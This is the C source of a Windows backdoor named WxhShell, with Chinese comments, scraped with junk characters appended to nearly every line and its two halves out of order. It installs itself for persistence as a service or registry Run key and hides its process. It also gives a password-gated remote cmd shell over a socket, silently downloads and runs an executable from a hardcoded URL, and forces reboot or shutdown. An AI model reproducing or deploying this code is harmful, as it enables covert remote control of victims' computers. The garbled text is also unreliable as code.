    if(Boot(SHUTDOWN)) Y',s|M1})\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UuxWP\~2  
    else { TQK>w'L  
    closesocket(wsh); >q <,FY!A  
    ExitThread(0); NTiJEzW}  
    } '6{q;Bxo  
    break; 1rC8] M.N  
    } Ig1cf9 :  
  // 获取shell yY*OAC  
  case 's': { ,oDZ:";  
    CmdShell(wsh); g'Ft5fQ"o/  
    closesocket(wsh); j._9;HifZ  
    ExitThread(0); ltt%X].[  
    break; >82Q!HaH  
  } yuswWc '  
  // 退出 TEB%y9  
  case 'x': { sCaw"{5qc  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /exV6D r  
    CloseIt(wsh); tjOfekU  
    break;  <_MQC  
    } %-]j;'6}cX  
  // 离开 ezlp~z"_k  
  case 'q': { -!">SY\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); XPzwT2_E  
    closesocket(wsh); `a:@[0r0U  
    WSACleanup(); >U"f1q*$  
    exit(1); 5gI@~h S  
    break; $$ {ebt  
        } jD_(im5  
  } ({![  
  } s;}';#  
0"u*Kn  
  // 提示信息 H` Q_gy5Z(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \UJ:PW$7  
} *~4uF  
  } Qo?"hgjlqm  
rf;R"Uc  
  return; 4,FkA_k  
} l/LRr.x  
*v:+A E  
// shell模块句柄 \EYhAx`2  
int CmdShell(SOCKET sock) \R&`bAdk  
{ 4OCz:t  
STARTUPINFO si; - K}@Gp  
ZeroMemory(&si,sizeof(si)); +?MjY[8j  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; BEPDyy  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; GOH@|2N  
PROCESS_INFORMATION ProcessInfo; E3,Z(dpX!  
char cmdline[]="cmd"; XpOsnvW  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .eZ4?|at.F  
  return 0; *KxV;H8/  
} TKoO\\  
u9mMkzgSkP  
// 自身启动模式 sdS<-! %u4  
int StartFromService(void) o,bV.O.W  
{ 7_#v_ A^  
typedef struct ?ZlwRjB\  
{ P; hjr;  
  DWORD ExitStatus; 3m7$$ N|  
  DWORD PebBaseAddress; _sZ/tU@_-K  
  DWORD AffinityMask; F1Egcx/$V  
  DWORD BasePriority; t47 f$gq  
  ULONG UniqueProcessId; 34JkB+#a  
  ULONG InheritedFromUniqueProcessId; A!iH g__/t  
}   PROCESS_BASIC_INFORMATION; gADt%K2 #Z  
$6fHY\i#R  
PROCNTQSIP NtQueryInformationProcess; \jq1F9,  
aeSy, :  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~ D3'-,n[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; qcQ`WU{  
X:8=jHkz  
  HANDLE             hProcess; J_rCo4}  
  PROCESS_BASIC_INFORMATION pbi; EF)kYz!@  
c~R ElL  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \FVR'A1  
  if(NULL == hInst ) return 0; =\X<UA}  
ODv)-J  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1Lj\"+.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )}G HG#D{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !3yR?Xem}  
&e,xN;  
  if (!NtQueryInformationProcess) return 0; qf24l&}  
WHE*NWz>q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j nI)n*  
  if(!hProcess) return 0; C6'[Tn  
#"i}wS  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |C>Yd*E,C  
0pkU1t~9  
  CloseHandle(hProcess); Mv4JF(,S  
Qt>yRt  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); '^Sa|WXq  
if(hProcess==NULL) return 0; dhm ;  
;=h^"et  
HMODULE hMod; HLk}E*.mC  
char procName[255]; &rw|fF|]  
unsigned long cbNeeded; C:4h  
/#>?wy<s ~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7qL]_u[^  
fVf.u'.8  
  CloseHandle(hProcess); )%ja6Vg  
krz@1[w-j  
if(strstr(procName,"services")) return 1; // 以服务启动 hCr7%`  
}s{zy:1O  
  return 0; // 注册表启动 qx_+mCZ  
} vj{h*~  
Ap}:^k5{  
// 主模块 p[Q   
int StartWxhshell(LPSTR lpCmdLine) ,3fw"P$  
{ mGL%<4R,  
  SOCKET wsl; 0JNG\ARC  
BOOL val=TRUE; d6hWmZVC  
  int port=0; P\N`E?lJL  
  struct sockaddr_in door; g-*@I`k[  
3QV|@5L`[  
  if(wscfg.ws_autoins) Install(); .'.|s?s  
>DbG$V<v'  
port=atoi(lpCmdLine); ;Rwr5  
Z71"d"  
if(port<=0) port=wscfg.ws_port; 3j.f3~"  
h ?p^DPo  
  WSADATA data; (#Y2H  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; R_@yj]%H=  
(5G^"Srw  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %f{kT<XHu  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); L}:u9$w  
  door.sin_family = AF_INET; 6x[gg !;85  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); U.wgae].O;  
  door.sin_port = htons(port); N@j|I* y|  
G e~&Ble  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1L &_3}  
closesocket(wsl); :1.$7W t  
return 1; /3+7a\|mKr  
} $orhY D3gv  
TAzhD.6C  
  if(listen(wsl,2) == INVALID_SOCKET) { }GGFJ"  
closesocket(wsl); G3?8GTH  
return 1; rvr Ok  
} ]MB ^0:F-  
  Wxhshell(wsl); pazFVzT  
  WSACleanup(); y!aq}YS  
Ah)7A|0rT  
return 0; WfO6Fvx%  
t~@TUTbx  
} .` ,YUr$.  
%?RX}37K  
// 以NT服务方式启动 Q*KEODR8\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) VK ?,8Y  
{ Uyi_B.:`  
DWORD   status = 0; =cRJtn  
  DWORD   specificError = 0xfffffff; tb@/E  
\>I&UFfH)4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )cOm\^,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9B*SWWAj  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; },[j+wx  
  serviceStatus.dwWin32ExitCode     = 0; =VY[m-q5  
  serviceStatus.dwServiceSpecificExitCode = 0; @~a52'\  
  serviceStatus.dwCheckPoint       = 0; ?<F\S2W  
  serviceStatus.dwWaitHint       = 0; J@yy2AZnO  
Q) FL|   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); g7d)YUc  
  if (hServiceStatusHandle==0) return; $>#PhOC  
^QFjBQ-Hai  
status = GetLastError(); t3bDi/m  
  if (status!=NO_ERROR) YQYN.\  
{ BHFWig*{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7i/?+|  
    serviceStatus.dwCheckPoint       = 0; (mza&WF7  
    serviceStatus.dwWaitHint       = 0; J-I7K !B  
    serviceStatus.dwWin32ExitCode     = status; L'[ '7  
    serviceStatus.dwServiceSpecificExitCode = specificError; dmE-W S  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); W:0@m^r  
    return; Txw,B2e)>  
  } Rmd;u g9  
GbNVcP.ocP  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; y< 146   
  serviceStatus.dwCheckPoint       = 0; Vw)\#6FL  
  serviceStatus.dwWaitHint       = 0; nGyY`wt&Rg  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 44_n5vp,T  
} M)3h 4yQ  
D;:lw]  
// 处理NT服务事件,比如:启动、停止 Vwv O@G7A  
VOID WINAPI NTServiceHandler(DWORD fdwControl) v3@)q0@  
{ k,q` ^E8k  
switch(fdwControl) O gycP4z[  
{ ~8|$KD4I  
case SERVICE_CONTROL_STOP: ][qZOIk@  
  serviceStatus.dwWin32ExitCode = 0; &|9?B!,`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1` 9/[2z  
  serviceStatus.dwCheckPoint   = 0; rVf`wJ6b  
  serviceStatus.dwWaitHint     = 0; $1UN?(r  
  { w1s#8:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?|8H $1  
  } :Eob"WH  
  return; ew"[]eZ:ut  
case SERVICE_CONTROL_PAUSE: u`   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; v8w N2[fC  
  break; d5WE^H)E.  
case SERVICE_CONTROL_CONTINUE: I#9K/[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =#>P !  
  break; qLPI^g,  
case SERVICE_CONTROL_INTERROGATE: } 10Dvt>+  
  break; wePMBL1P*  
}; w|$;$a7)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); JXvHsCd?  
} &=s{ +0  
r%xNfTa  
// 标准应用程序主函数 dn`#N^Od  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (T`x-wTl  
{ k"L_0HK  
SZyPl9.b  
// 获取操作系统版本 a_Xh(d$  
OsIsNt=GetOsVer(); KXdls(ROP  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8(S'g+p  
D{G#|&;  
  // 从命令行安装 &os* @0h4  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]n!pn#Q  
`d8$OC  
  // 下载执行文件 tU?lfU[7  
if(wscfg.ws_downexe) { ,,,5pCi\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) } RM?gE  
  WinExec(wscfg.ws_filenam,SW_HIDE); <Ojf&C^Z  
} =8<SKY&\X  
V:IoeQ]-  
if(!OsIsNt) { 47t^{WrT  
// 如果时win9x,隐藏进程并且设置为注册表启动 9N-mIGJ  
HideProc(); LWIU7dw  
StartWxhshell(lpCmdLine); ]aaHb  
} [ 9$>N  
else ;Hm\?n)a  
  if(StartFromService()) 8BWLi5R[  
  // 以服务方式启动 Cu9,oU+N  
  StartServiceCtrlDispatcher(DispatchTable); 242lR0#aY  
else Y.&z$+  
  // 普通方式启动 irrQ$N}   
  StartWxhshell(lpCmdLine); f)gA.Rz  
sy]1Ba%  
return 0; KXR  
} hS<x+|'l  
9-L.?LG  
h{>8W0W*  
!m^WtF  
=========================================== 6Lz&"C,`  
Le_?x  
n1!u aUC  
Yz{UP)TC  
mEE/Olh W  
y+X%qTB  
" AMtFOXx%I  
33 N5>}  
#include <stdio.h> TNiF l hq  
#include <string.h> F1 MPo;e  
#include <windows.h> ,!Ah+x  
#include <winsock2.h> ?K}/b[[0v  
#include <winsvc.h> f$/Daq <M  
#include <urlmon.h> < v0 d8  
:a`l_RMU  
#pragma comment (lib, "Ws2_32.lib") YMm Fpy  
#pragma comment (lib, "urlmon.lib") =FdS'<GM  
S* <: He&1  
#define MAX_USER   100 // 最大客户端连接数 oBIKt S*L  
#define BUF_SOCK   200 // sock buffer T#h`BtET[  
#define KEY_BUFF   255 // 输入 buffer "9R3S[  
tohYwXN  
#define REBOOT     0   // 重启 QDSB <0j  
#define SHUTDOWN   1   // 关机 2uqdx'^"  
H%sbf& gi  
#define DEF_PORT   5000 // 监听端口 &o)j@5Y?  
g3"`b)M  
#define REG_LEN     16   // 注册表键长度 |-Y,:sY:  
#define SVC_LEN     80   // NT服务名长度 9g " ?`_  
`_z8DA}E  
// 从dll定义API B \[P/AC  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); o3%Gc/6%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); T;.#=h  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _%"/I96'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); LD#]"k  
Ue~M .LZb  
// wxhshell配置信息 E+[K?W5  
struct WSCFG { /|hKZTZJdN  
  int ws_port;         // 监听端口 p6I@o7f  
  char ws_passstr[REG_LEN]; // 口令 "EhA _ =i  
  int ws_autoins;       // 安装标记, 1=yes 0=no *`mwm:4  
  char ws_regname[REG_LEN]; // 注册表键名 Pm V:J9  
  char ws_svcname[REG_LEN]; // 服务名 u9}=g%TV  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 iQs(Dh=*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 kg9ZSkJr  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8CwgV  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" F&I^bkvh  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 42X[Huy]  
265df Y9Pu  
}; m!w(Q+*j  
M%yT?R+  
// default Wxhshell configuration :C>slxY  
struct WSCFG wscfg={DEF_PORT, D0tI  
    "xuhuanlingzhe", y \V!OY@  
    1, =][[TH  
    "Wxhshell", f~8Xue,l"  
    "Wxhshell", >`\~=ivrD  
            "WxhShell Service", 62a{Ggs{  
    "Wrsky Windows CmdShell Service", T [&1cth  
    "Please Input Your Password: ", 6YYZ S2  
  1, =d&  
  "http://www.wrsky.com/wxhshell.exe", ANi}q9SC  
  "Wxhshell.exe" mI9~\k&9  
    }; M>8#is(pV  
#t po@pJsE  
// 消息定义模块 VbJGyjx  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; s$|GVv1B  
char *msg_ws_prompt="\n\r? for help\n\r#>"; m03;'Nj'7#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; AfFF u\  
char *msg_ws_ext="\n\rExit."; _Su$oOy(Ea  
char *msg_ws_end="\n\rQuit."; 8^^Xr  
char *msg_ws_boot="\n\rReboot..."; 4GeWo@8h  
char *msg_ws_poff="\n\rShutdown..."; ;1K.SDj  
char *msg_ws_down="\n\rSave to "; )0~zL} )?  
gz Qc  
char *msg_ws_err="\n\rErr!"; 7s1FJm=Y/  
char *msg_ws_ok="\n\rOK!"; )t&j0`Yq  
$oe:km1-D  
char ExeFile[MAX_PATH]; R\ <HR9r  
int nUser = 0; ~ex1,J*}t  
HANDLE handles[MAX_USER]; E0Ig/ j  
int OsIsNt; {3@/@jO?  
Gpo(Zf?  
SERVICE_STATUS       serviceStatus; $hn #T#J3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4*G#fW-  
Mp}aJzmkB;  
// 函数声明 j^mAJ5  
int Install(void); g]N!_Ib/!  
int Uninstall(void); Z2j M.[hq  
int DownloadFile(char *sURL, SOCKET wsh); [*]&U6\j  
int Boot(int flag); ?%{v1(  
void HideProc(void); j[ kg9z  
int GetOsVer(void); pa4zSl  
int Wxhshell(SOCKET wsl); Rs8^ 27  
void TalkWithClient(void *cs); gW$X8ECX  
int CmdShell(SOCKET sock); `o)rAD^e  
int StartFromService(void); %F]4)XeW-+  
int StartWxhshell(LPSTR lpCmdLine); K;k&w; j  
josc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); MXq+aS{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \l"1Io=  
e4j:IK>  
// 数据结构和表定义 7GB>m}7  
SERVICE_TABLE_ENTRY DispatchTable[] = &r;-=ASYzV  
{ TW7jp  
{wscfg.ws_svcname, NTServiceMain}, _>S."cm}!k  
{NULL, NULL} pmv;M`_|R  
}; iQ~;to;Y  
M._9/ *C U  
// 自我安装 9l+'V0?`  
int Install(void) 4'RyD<K\  
{ GNgPf"}K  
  char svExeFile[MAX_PATH]; |B./5 ,nSS  
  HKEY key; Sbc  
  strcpy(svExeFile,ExeFile); /YKg.DA|  
[daUtKz  
// 如果是win9x系统,修改注册表设为自启动 q5p!Ty"  
if(!OsIsNt) { ,73J#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s9>-Q"(y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &$:1rA_v  
  RegCloseKey(key); jO&sS?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I'Ui` :A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G0Eqo$W)S  
  RegCloseKey(key); W]}y:_t4  
  return 0; fb0i6RC~&  
    } 2/<VoK0b  
  } V\5ZRLawP  
} @A GM=v  
else { *I:^g  
BGh1hyJ8d  
// 如果是NT以上系统,安装为系统服务 \vjIw{   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); iO4Yfj#?  
if (schSCManager!=0) h8iic  
{ \fj* .[,  
  SC_HANDLE schService = CreateService ANR?An  
  ( |08b=aR6ro  
  schSCManager, 1MkQ$v7m  
  wscfg.ws_svcname, wJ,l"bnq  
  wscfg.ws_svcdisp, dfAnOF"-  
  SERVICE_ALL_ACCESS, P-[6'mw`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ha>Hb`  
  SERVICE_AUTO_START, Ka%u#};  
  SERVICE_ERROR_NORMAL, KzZ|{ !C  
  svExeFile, HC_+7O3A  
  NULL, 8b\XC%k  
  NULL, dT?/9JIv  
  NULL, efW<  
  NULL, $Y& 8@/L  
  NULL plcz m 2  
  ); { }Q!./5  
  if (schService!=0) OE[| 1?3  
  { tbG^9d  
  CloseServiceHandle(schService); k]K][[s`  
  CloseServiceHandle(schSCManager); *DfwTbg|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); E}LYO:  
  strcat(svExeFile,wscfg.ws_svcname); 4HG;v|Cp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { XRA RgWj  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -9W)|toWb"  
  RegCloseKey(key); O~D>F*_^j  
  return 0; YGFE(t;lPU  
    } 2NMS '"8  
  } @#m@ .   
  CloseServiceHandle(schSCManager); `>'%!E9G  
} WD.td  
} hilgl<UF  
c~ x  
return 1; jiw5>RNt  
} moz*=a  
!(2rU@.  
// 自我卸载 Ns ezUk8'  
int Uninstall(void) )zn`qaHK@e  
{ t,H=;U#  
  HKEY key; jMFLd  
G)5R iRcs  
if(!OsIsNt) { sKD sps^$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LkvR]^u0  
  RegDeleteValue(key,wscfg.ws_regname); uknX py))  
  RegCloseKey(key); &gGh%:`B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /<zBjvr%%  
  RegDeleteValue(key,wscfg.ws_regname); eI99itDQ  
  RegCloseKey(key); Q1hHK'3w  
  return 0; +8p4\l$<`  
  } p SMF1Oy  
} FLf< gz  
} A<$~Q;r2a  
else { &=ZVU\o:  
dZMf5=tb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `hpX97v  
if (schSCManager!=0) :xwyE(w  
{ 'LC-/_g  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0o-. m  
  if (schService!=0) u_31Db<  
  { oJ4OVfknD  
  if(DeleteService(schService)!=0) { +hiskV@v  
  CloseServiceHandle(schService); ^W8kt  
  CloseServiceHandle(schSCManager); zH)M,+P  
  return 0; vU(uu:U9  
  } 4zo^ b0v  
  CloseServiceHandle(schService); =o_Ua^mr  
  } ;YGCsLT<xt  
  CloseServiceHandle(schSCManager); RV@'$`Q  
} ,76xa%k(U|  
} L'A9TW2  
}Zuk}Og9+  
return 1; {~*^jS']5  
} I j w{g%  
@*>kOZ(3  
// 从指定url下载文件 } X|*+<  
int DownloadFile(char *sURL, SOCKET wsh) t,P_&0X  
{ mc FSWmq  
  HRESULT hr; p<[gzmU9\b  
char seps[]= "/"; E^K<b7  
char *token; \mo NpKf  
char *file; IJ[r!&PY  
char myURL[MAX_PATH]; |^:qJ;dOP  
char myFILE[MAX_PATH]; 3:]c>GPQ  
pHNo1-k\  
strcpy(myURL,sURL); Z(h.)$yH*=  
  token=strtok(myURL,seps); Wxeg(L}E  
  while(token!=NULL) c;6[lv  
  { Nv[MU@Tv  
    file=token; L|hoA9/]  
  token=strtok(NULL,seps); m.6O%jD  
  } UgD|tuz]  
1U?,}w   
GetCurrentDirectory(MAX_PATH,myFILE); k.5(d.*(  
strcat(myFILE, "\\"); I,8f{T!O@"  
strcat(myFILE, file); v w  
  send(wsh,myFILE,strlen(myFILE),0); %noByq,?  
send(wsh,"...",3,0); 6, ~Y(#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); MrU0Jrk4+  
  if(hr==S_OK) |&49YQ  
return 0; :@~W$f\y  
else |$:y8H'J  
return 1; {wL30D^  
|^09ny|  
} s;!_'1pi@  
OL%KAEnD  
// 系统电源模块 ,%=SO 82W  
int Boot(int flag) rGDx9KR4K!  
{ T%Nm  
  HANDLE hToken; gfr+`4H>v  
  TOKEN_PRIVILEGES tkp; E:$EK_?:t  
 Gv(?u  
  if(OsIsNt) { 7{ JIHY+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :5W8S6[o  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %a\L^w)Xn  
    tkp.PrivilegeCount = 1; I%<LLkQ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; oE.59dx  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); qP k`e}D  
if(flag==REBOOT) { $p;<1+!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Hy~+|hLvh  
  return 0; e0z(l/UB  
} zg>)Lq|VsT  
else { $o%:ST4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |L<p90  
  return 0; b4?]/Uy+/  
} ^&Vj m  
  } =pk5'hBAi  
  else { ;@<Rh^g]  
if(flag==REBOOT) { 7 .y35y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /$'|`jKsB  
  return 0; E' _6v  
} ;.U<Lr^9#  
else { Q)[DSM  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) M/a40uK  
  return 0; uc>]-4  
} /g)(  
} *Roqie  
@#QaaR;4  
return 1; vdaG?+_o  
} ?#~km0~F)  
"$#<+H>O  
// win9x进程隐藏模块 Q+7+||RW  
void HideProc(void) NCa3")k  
{ 34F;mr"yp  
5ktFL<^5T  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,<s/K  
  if ( hKernel != NULL ) 3EV?=R  
  { N`J]k B7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); gwyX%9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6an= C_Mb`  
    FreeLibrary(hKernel); z'01V8e  
  } R ~"&E#C  
uk9!rE"  
return; Y[0mTL4IO  
} eb>jT:  
Mc~L%5  
// 获取操作系统版本 \7PC2IsT3  
int GetOsVer(void) 1]a\uq}  
{ Yb\d(k$h  
  OSVERSIONINFO winfo; WX* uhR  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |OiM(E(  
  GetVersionEx(&winfo); 7/zaf  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _0|@B8!J?  
  return 1; $ftxid8  
  else s`en8%  
  return 0; /'a\$G"%6  
} YYhN>d$  
N u3B02D*  
// 客户端句柄模块 zF@[S  
int Wxhshell(SOCKET wsl) SUDvKP  
{ &$heW,  
  SOCKET wsh; 39~te%;C7  
  struct sockaddr_in client; op($+Q  
  DWORD myID; 22/"0=2g  
I7HGV(  
  while(nUser<MAX_USER) 7Ue&y8Yf  
{ SLz;5%CPV  
  int nSize=sizeof(client); \}J"`J\Q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); d&lT/S  
  if(wsh==INVALID_SOCKET) return 1; E/<n"'0ek  
,3 [FD9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8 ,W*)Q  
if(handles[nUser]==0) 5+2qx)FZ  
  closesocket(wsh); _*cKu>,O  
else j;I( w [@P  
  nUser++; |kY  
  } |]~],  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >a bp se  
'Ck:=V%}g  
  return 0; {e5-  
} ?Y 5Vje[^  
x*p'm[Tdtm  
// 关闭 socket SmAii}-jf  
void CloseIt(SOCKET wsh) MEu{'[C  
{ c axOxRo\  
closesocket(wsh);  U02  
nUser--; [_`@ V4  
ExitThread(0); 1\)C;c,  
} k7& cc|y  
CM6! 1 7  
// 客户端请求句柄 h8 FV2"  
void TalkWithClient(void *cs) Dw>)\\n{Kl  
{ >[&ser  
E:-~SH}  
  SOCKET wsh=(SOCKET)cs; x=-(p}0o;<  
  char pwd[SVC_LEN]; &?TXsxf1Zh  
  char cmd[KEY_BUFF]; Dk&(QajL  
char chr[1]; :9e4(7~ona  
int i,j; 1<cx!=w'  
}=JS d@`_  
  while (nUser < MAX_USER) { $inKI  
hUX8j9N>  
if(wscfg.ws_passstr) { i3pOGa<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Igw2n{})w  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {?q`9[Z  
  //ZeroMemory(pwd,KEY_BUFF);  FLZ9Rg  
      i=0; %zo 6A1Q;  
  while(i<SVC_LEN) { !/ dH"h  
[XH,~JZJj  
  // 设置超时 gvPHB+#A  
  fd_set FdRead; Y]^*mc0fE  
  struct timeval TimeOut; stMxlG"d  
  FD_ZERO(&FdRead); 5j\Kej  
  FD_SET(wsh,&FdRead); j&U7xv  
  TimeOut.tv_sec=8; Spu;   
  TimeOut.tv_usec=0; &gW<v\6,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \t`VqJLyu  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); bSn={O"M  
yE.st9m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gI9nxy  
  pwd=chr[0]; )T?BO  
  if(chr[0]==0xd || chr[0]==0xa) { }_-tJ.  
  pwd=0; > 5?c93?  
  break; .t9`e=%  
  } [w-Tf&  
  i++;  DZ4gp  
    } Dx=RLiU9  
y+=s/c  
  // 如果是非法用户,关闭 socket dcTZL$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?"T!<L  
} y|i(~  
f="ZplW  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); MmU`i ,z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q2OF-.rE  
 j=G  
while(1) { lxbC 7?O  
MxUQF?@6  
  ZeroMemory(cmd,KEY_BUFF); f`K#=_Kq7  
;8f)p9vE  
      // 自动支持客户端 telnet标准   8r:T&)v  
  j=0; s<Nw)Ynw  
  while(j<KEY_BUFF) { DZLEx{cm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,aq>9\ pi  
  cmd[j]=chr[0]; N)a5~<fBG  
  if(chr[0]==0xa || chr[0]==0xd) { [Jjo H1E@  
  cmd[j]=0; Yt{Z+.;9OI  
  break; @[`]w`9Q7  
  } PMX'vA`  
  j++; 9b&;4Yq!f  
    } H;@0L}Nu+}  
X+HPdrT  
  // 下载文件 Os]. IL$  
  if(strstr(cmd,"http://")) { I>w|80%%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ( Rp5g}b  
  if(DownloadFile(cmd,wsh)) rf 60'   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); F9tWJJUsr  
  else .QA1'_9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wlh%{l  
  } X+ybgB4(  
  else { :/Z1$xS  
"4T36b  
    switch(cmd[0]) { u[4h|*'"|  
  xF YHv@g  
  // 帮助 R%t|R7 9I  
  case '?': { m]'+Eye ]r  
